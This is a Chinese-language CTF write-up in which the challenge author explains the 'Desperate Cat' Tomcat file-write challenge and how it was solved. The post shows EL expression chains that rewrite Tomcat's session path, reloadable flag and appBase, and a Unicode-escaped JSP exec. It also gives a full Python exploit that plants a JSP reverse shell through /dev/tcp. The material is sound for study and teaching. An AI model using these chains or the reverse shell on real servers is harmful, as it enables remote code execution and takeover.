在 Real World CTF 4th 中,我很荣幸再次作为出题人参与出题。我出了一道名叫 Desperate Cat 的题目,考察的是在严苛条件下 Tomcat Web 目录写文件 getshell 的利用。
Desperate Cat 的出题灵感源自于我大哥 Noxxx 在某次渗透攻防项目中碰到的实际问题场景。但当时由于攻防项目节奏紧张,而且还有其他事情要处理,这个问题我们在当时并没有解决。在那之后我空闲下来时,定下心来再思考,终于是给搞定了,因此把它做成了 Real World CTF 题目。
作为读者,如果你没有参与此次 Real World CTF 4th,但是对 Java Web 漏洞利用感兴趣,那么不妨往下阅读,我相信你或多或少也能从其中收获到一些自己的思考和启发。
Desperate Cat 和它改编来源的原系统漏洞场景是这样的(我在题目中基本上照搬了原系统的相关处理代码,尽可能地做到情景再现):
要解决的问题就是,在这样的场景下,怎么 getshell,拿到服务器权限?
P.S. 没有参加过 Real World CTF 4th 的读者建议看到这里不妨稍微暂停一会,先自己思考一番,如果是你要解决这个问题,你准备怎么做?
不难发现,这个问题棘手的地方主要是在于太多关键的字符被转义处理了,其中最重要的两类字符是尖括号和圆括号。
如果只是不能用尖括号,我们可以很轻易地通过 Tomcat 支持的 EL 表达式(Expression Language)来解决。
由于 EL 规范里规定默认会引入java.lang.* 下的包,所以可以直接取 Runtime 类执行命令:
${Runtime.getRuntime().exec(param.cmd)}
当然你也可以通过反射的形式来调用其他类的方法。
EL 的解析不依赖于 JSP 文件的代码标记 <%...%>,因此可以规避尖括号。不过需要 web.xml 开启 EL 解析的支持才能执行,但这个问题不大,从 web.xml 2.4 规范版本开始后,默认都已经支持 EL 了。
如果只是不能用圆括号,问题也很简单,由于 Java 代码编译解析器会识别 Unicode 形式的编码,所以你可以在 JSP 代码块里直接一股脑把所有字符 Unicode 编码:
<%\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>
然而现在的问题是尖括号和圆括号都用不了,那要怎么办呢?
我先说下我的思路。在我思考这个问题时,我的想法是从 Tomcat 对于 JSP 以及 EL 的解析执行上寻求突破:
经过许久的尝试,最终我成功用第4个办法完成了利用,从 JSP EL 中自带解析的隐式对象出发,通过组合4个 EL 表达式链,完成了 RCE!
默认配置下,Tomcat 在关闭服务的时候,会将用户 Session 中的数据以序列化的形式持久存储到本地,这样下次 Tomcat 再启动的时候,能够从本地存储的 Session 文件中恢复先前的 Session 数据内容,避免造成用户 Session 还未到期就由于服务重启而失效。
Session 持久化存储文件的默认路径是在 work 应用目录下的 SESSIONS.ser
而通过执行以下 EL 表达式,就可以做到修改 Session 文件的存储路径:
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
由于 EL. 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法,因此这段表达式等同于执行:
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));
然后再通过执行如下表达式,往 Session 里写数据:
${sessionScope[param.b]=param.c}
这样就可以做到让 Tomcat 正常停止服务时,往一个任意路径下的文件写入部分内容可控的字符串(这部分是不会有特殊字符过滤转义处理的):
?a=/opt/tomcat/webapps/ROOT/session.jsp&b=voidfyoo&c=%3C%25out.println(123)%3B%25%3E
除了 Tomcat 停止服务的时候会做 Session 持久化存储外,还有别的办法吗?
其实是有的,通过查阅官方文档发现了这样一段话:
Whenever Apache Tomcat is shut down normally and restarted, or when an application reload is triggered, the standard Manager implementation will attempt to serialize all currently active sessions to a disk file located via the pathname attribute. All such saved sessions will then be deserialized and activated (assuming they have not expired in the mean time) when the application reload is completed.
因此根据官方文档可以看出来,除了服务停止或者重启,还可以让部署的程序触发 reload 来做到。
让 Tomcat 部署的程序进行 reload 需要满足两个条件:
由于 Context reloadable 默认是 false,要动态修改它可以通过执行:
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
它等效于:
pageContext.getServletContext().getClassLoader().getResources().getContext().setReloadable(true);
而/WEB-INF/classes/ 或者 /WEB-INF/lib/ 目录下的文件发生变化具体指的是满足以下任意一项:
由于场景中的文件写入漏洞本身可以指定目录,因此通过往 /WEB-INF/lib/ 下写入一个任意的后缀名为 jar 的文件,哪怕内容无法被正常解析,在 Context reloadable 为 true 的情况下就会触发 reload。
通过 Context reload,就可以实现在不重启的情况下写入 Session 数据文件到任意路径,得到 webshell。
问题解决了吗?其实还没有。
通过前2步,当 Context reload 时,尽管确实会将我们构造的 Session 里的恶意数据写到本地 JSP,但由于我们写入的 Jar 文件不合法(前后存在脏数据),应用 Context 会 reload 失败,导致部署的这整个应用直接 404 无法访问!
如果程序已经挂掉了,那写入的 webshell 也没作用了,毕竟都已经访问不到了。
有办法补救吗,当然!在触发会造成网站瘫痪的 Context reload 之前,我们可以先通过执行 EL 表达式去修改整个 Tomcat 的 appBase 目录:
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}
它等效于执行:
pageContext.getServletContext().getClassLoader().getResources().getContext().getParent().setAppBase(request.getParameter("d"));
appBase 属性表示所有存放 webapp 的目录,它的值默认是 webapps。
假如我们通过 EL 表达式把它的值修改为系统根目录 / ,这时候会发生一个很神奇的事情,就是整个系统盘全部被映射到 Tomcat 上了,整个系统文件资源你都可以直接通过 Tomcat 去访问:
这样的话,就算原来的应用因为 Context reload 失败而导致 404 失效,还有其他的目录都可供访问。只要把 Session 持久化的存储文件写到任意一个其他目录就好啦。
最后将所有的 EL 表达式集合起来就得到了:
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}
也就是 Desperate Cat intended solution exploit:
#!/usr/bin/env python3
import sys
import time
import requests
PROXIES = None
if __name__ == '__main__':
target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
reverse_shell_host = sys.argv[2]
reverse_shell_port = sys.argv[3]
el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'voidfyoo',
'c': reverse_shell_jsp_payload,
'd': '/',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
},
proxies=PROXIES)
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)
Desperate Cat 最终由 WreckTheLine 和 Sauercloud 这两个战队的选手解出,出乎意料的是,他们用的办法核心思路和我的想法并不一样!
由于程序对一些关键的特殊字符做了转义处理,而且前后都有脏数据、文件内容以字符串编码的形式写入,所以我起初在思考问题的时候想当然地觉得写入 Jar 文件到 /WEB-INF/lib/ 目录下去加载执行是根本不可能的。但WreckTheLine 和 Sauercloud 他们证明了这一点其实是完全可行的!
其实之前已经有人研究过如何使用[A-Za-z0-9] 范围内的字符去构造压缩数据:
WreckTheLine 和 Sauercloud 他们参考了相关的构造算法,构造出了所有字节都在 0-127 范围内、且不出现被转义字符的特殊 Jar 包,使得即使前后都有脏数据、且内容以字符串编码形式被写入,Java 仍然会认为它是一个有效的 Jar 包。
写入有效的 Jar 包后仍然要考虑让应用重新加载的问题,这样才能引入 Jar 包。对于这个问题,WreckTheLine 和 Sauercloud 战队的选手也没有借助 EL 表达式,而是借助修改 Tomcat Context WatchedResource 来触发:
在 Tomcat 9 环境下,默认的 WatchedResource 包括:
Tomcat 会有后台线程去监控这些文件资源,在 Tomcat 开启 autoDeploy 的情况下(此值默认为 true,即默认开启 autoDeploy),一旦发现这些文件资源的 lastModified 时间被修改,也会触发 reload:
由于应用本身没有 WEB-INF/tomcat-web.xml 配置文件, 因此通过利用程序本身的写文件漏洞,来创建一个 WEB-INF/tomcat-web.xml/ 目录,也可以让应用强行触发 reload,加载进先前写入的 Jar 包。
进行到这里,对于 WreckTheLine 和 Sauercloud 这两个战队的选手而言,已经能够写入有效的 Jar 包并触发重新加载,也就意味着只差最后一步了。
Sauercloud 战队的选手终于在最后借助了 EL 表达式。先构造 EL 表达式如下:
${applicationScope[param.a]=param.b}
然后发送请求:
?a=org.apache.jasper.compiler.StringInterpreter&b=Pwn
相当于执行了:
pageContext.getServletContext().setAttribute("org.apache.jasper.compiler.StringInterpreter", "Pwn");
之后再访问 JSP 进行表达式解析的时候,就会触发类加载,加载先前写入在 Jar 中的恶意类,完成 RCE:
而 WreckTheLine 战队的选手自始至终都没有借助 EL 表达式,他们把 JSP Webshell 放在先前构造的 Jar 包里的 META-INF/resources/目录,这样就能直接通过 Web 访问了!
后记
这道题目算是我目前解决过的最复杂的问题之一,无论是我自己尝试解决这些问题的过程、还是赛后看到其他选手的解题办法,我都从中收获良多。也希望参与过比赛的选手或者作为读者的你们能从中有所启发 :D
参考资料
https://jakarta.ee/specifications/expression-language/4.0/jakarta-expression-language-spec-4.0.html
https://docs.oracle.com/cd/E19316-01/819-3669/bnajh/index.html
https://tomcat.apache.org/tomcat-8.5-doc/config/manager.html
https://tomcat.apache.org/tomcat-7.0-doc/config/context.html
https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
https://github.com/molnarg/ascii-zip
https://github.com/Arusekk/ascii-zip
https://tomcat.apache.org/tomcat-9.0-doc/config/context.html